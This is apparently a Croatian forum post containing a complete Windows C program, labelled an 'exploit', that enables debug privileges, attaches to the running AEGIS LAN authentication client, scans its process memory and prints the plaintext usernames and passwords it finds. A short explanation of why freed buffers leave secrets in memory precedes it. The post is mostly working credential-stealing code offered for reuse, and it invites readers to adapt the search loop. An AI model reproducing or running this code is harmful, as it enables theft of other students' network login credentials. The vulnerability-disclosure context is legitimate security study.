:>
Evo primjer kako skenirati memoriju nego procesa za nekim specifičnim stringom, što se obično koristi za traženje nekriptiranih pass-ova i sl. podataka koji bi trebali biti sigurni.
AEGIS klijent je popularan u studentskim domovima za autentikaciju na LAN-u, puno je brži i bolji od SecureW2. Spremljene profile sprema preko CryptoAPI-ja u registry, međutim ima problem jer username/pass konstatno drži nekriptirane u memoriji, čak i nakon autentikacije.
Mnogi programeri jednostavno ne shvaćaju da
vrlo često free()/delete[] nad podacima koji se
više ne koriste kompajleri optimiziraju tako što ih oslobađaju tek u nekoj n-toj fazi izlaska iz programa, ili ako su spremljeni na stog i više se ne koriste pa onda inicijalizirani na 0,
ne inicijaliziraju ih već puste da epilog fje učini svoje...
Zato su u .NET uvedene CryptoString i sl. specijalne klase baš zbog takvih situacija.
Modificirajte unutarnju petlju kako paše vašem specifičnom programu...ja odoh gledat tekmu (Brazil - Grčka :) Cheers..
Code:
#include "stdafx.h"
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <psapi.h>
#pragma comment(lib, "advapi32")
#pragma comment(lib, "user32")
#pragma comment(lib, "psapi")
#define VELICINA_CITANJA (1024*128*sizeof(DWORD))
#define SRCE_SIGNATURE "Srce - University Computing Center"
#define AEGIS_WINTITLE "AEGIS Client - Running"
#define HR_SIGNATURE ".hr"
#define SRCE_HR_SIGNATURE "srce.hr"
#define MIN_PASS_LEN 5
int _tmain(int argc, _TCHAR* argv[])
{
TOKEN_PRIVILEGES tkp;
HANDLE hToken;
HANDLE hProcess;
DWORD dwProcessId;
HWND hWnd;
HLOCAL hMem;
DWORD* ws;
MEMORY_BASIC_INFORMATION meminfo;
//
// Podesi SeDebugPrivilege u access tokenu naseg procesa.
//
printf("AEGIS Client unencrypted password exploit\n");
printf("+Podesavam debug privilegije...\n");
if (!OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) {
fprintf(stderr, "OpenProcessToken() failed!\n");
exit(1);
}
if (!LookupPrivilegeValue(NULL, "SeDebugPrivilege", &tkp.Privileges[0].Luid)) {
CloseHandle(hToken);
fprintf(stderr, "LookupPrivilegeValue() failed!\n");
exit(1);
}
tkp.PrivilegeCount = 1;
tkp.Privileges[0].Attributes |= SE_PRIVILEGE_ENABLED;
tkp.Privileges[0].Attributes ^= (SE_PRIVILEGE_ENABLED & tkp.Privileges[0].Attributes);
if (!AdjustTokenPrivileges(hToken, FALSE ,&tkp, 0, (PTOKEN_PRIVILEGES) NULL, 0)) {
fprintf(stderr, "AdjustTokenPrivileges() failed!\n");
CloseHandle(hToken);
exit(1);
}
CloseHandle(hToken);
//
// Nadji proces od AEGIS klijenta preko stringa glavnog prozora.
//
printf("+Trazim aktivni prozor od AEGIS klijenta..\n");
hWnd = FindWindow(NULL, AEGIS_WINTITLE);
if( !hWnd )
{
fprintf(stderr, "AEGIS klijent nije aktivan!\n");
exit(1);
}
if (!GetWindowThreadProcessId(hWnd, &dwProcessId)) {
fprintf(stderr, "GetWindowThreadProcessId() failed!\n");
exit(1);
}
//
// Sad otvaramo njegov proces i uzmimamo velicinu working seta.
//
printf("+Otvaram proces PID=%d i uzimam velicinu working seta..\n", dwProcessId);
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION |PROCESS_VM_READ, FALSE, dwProcessId);
if( !hProcess ) {
fprintf(stderr, "OpenProcess() failed!\n");
exit(1);
}
hMem = LocalAlloc(LMEM_FIXED | LMEM_ZEROINIT, VELICINA_CITANJA);
if( QueryWorkingSet(hProcess, hMem, VELICINA_CITANJA) == FALSE )
{
fprintf(stderr, "Aplikacija nije vratila working set!\n");
LocalFree(hMem);
CloseHandle(hProcess);
exit(1);
}
//
// Sad kad imamo podatke o working setu procesa, enumeriramo pageve.
//
printf("+Enumeriram page-ve u procesu...");
ws = (DWORD*)hMem;
// prvi DWORD jest broj DWORD_PTR-a koji slijede
DWORD broj_ptra = ws[0];
printf("%d DWORD_PTR-a\n", broj_ptra);
for ( UINT i = 0; i < broj_ptra; i++ ) {
DWORD adresa = ws[i] & 0xfffff000;
DWORD flagovi = ws[i] & 0x00000fff;
// ako nemamo read/write pristup, idi na sljedeci DWORD_PTR.
// BUGBUG: promijeni protekciju page-a sa VirtualProtectEx() ?
if(! (flagovi & 0x00000004 ) )
continue;
if( !VirtualQueryEx( hProcess, (LPCVOID)adresa, &meminfo, sizeof(meminfo)) )
continue;
if(meminfo.RegionSize == 0)
continue;
// printf("Baza page-a: %p\t Velicina page-a: %u\n", meminfo.BaseAddress, meminfo.RegionSize);
BYTE* page = (BYTE*)malloc(meminfo.RegionSize);
memset(page, 0, meminfo.RegionSize);
SIZE_T velicina = ReadProcessMemory( hProcess, (LPCVOID)meminfo.BaseAddress, (LPVOID)page, meminfo.RegionSize, NULL );
if ( velicina == 0 ) {
fprintf(stderr, "Upozorenje: ne mogu citati page!\n");
free(page);
continue;
}
for ( UINT j = 0; j < meminfo.RegionSize; j++ ) {
if( memcmp(&page[j], HR_SIGNATURE, strlen(HR_SIGNATURE)) == 0 ) {
// printf("SRCE_SIGNATURE pronadjen na adresi 0x%x\n", (DWORD)meminfo.BaseAddress + j);
// ako je regoc.srce.hr ili neko sl. s***** nastavi..
if ( memcmp(&page[j]-4, SRCE_HR_SIGNATURE, strlen(SRCE_HR_SIGNATURE)) == 0 )
continue;
BYTE* username = &page[j];
while ( isalnum(*username) || *username == '.' ) *username--;
username ++;
// sad treba ici barem 20 bajtova cistih 0 inace nije dobar username i pass nije blizu!
BYTE* password = username + strlen((char*)username);
if ( meminfo.RegionSize -j > 50 ) {
BOOL dvadeset_nula = TRUE;
for ( int k = 0; k < 20; k ++ )
if ( password[k] != 0 ) dvadeset_nula = FALSE;
if ( dvadeset_nula == FALSE ) continue;
while ( !isalnum(*password) ) *password++;
if (strlen((char*)password) < MIN_PASS_LEN) continue;
}
printf("username = %s password = %s\n", username, password);
}
}
free(page);
}
LocalFree(hMem);
CloseHandle(hProcess);
getc(stdin);
return 0;
}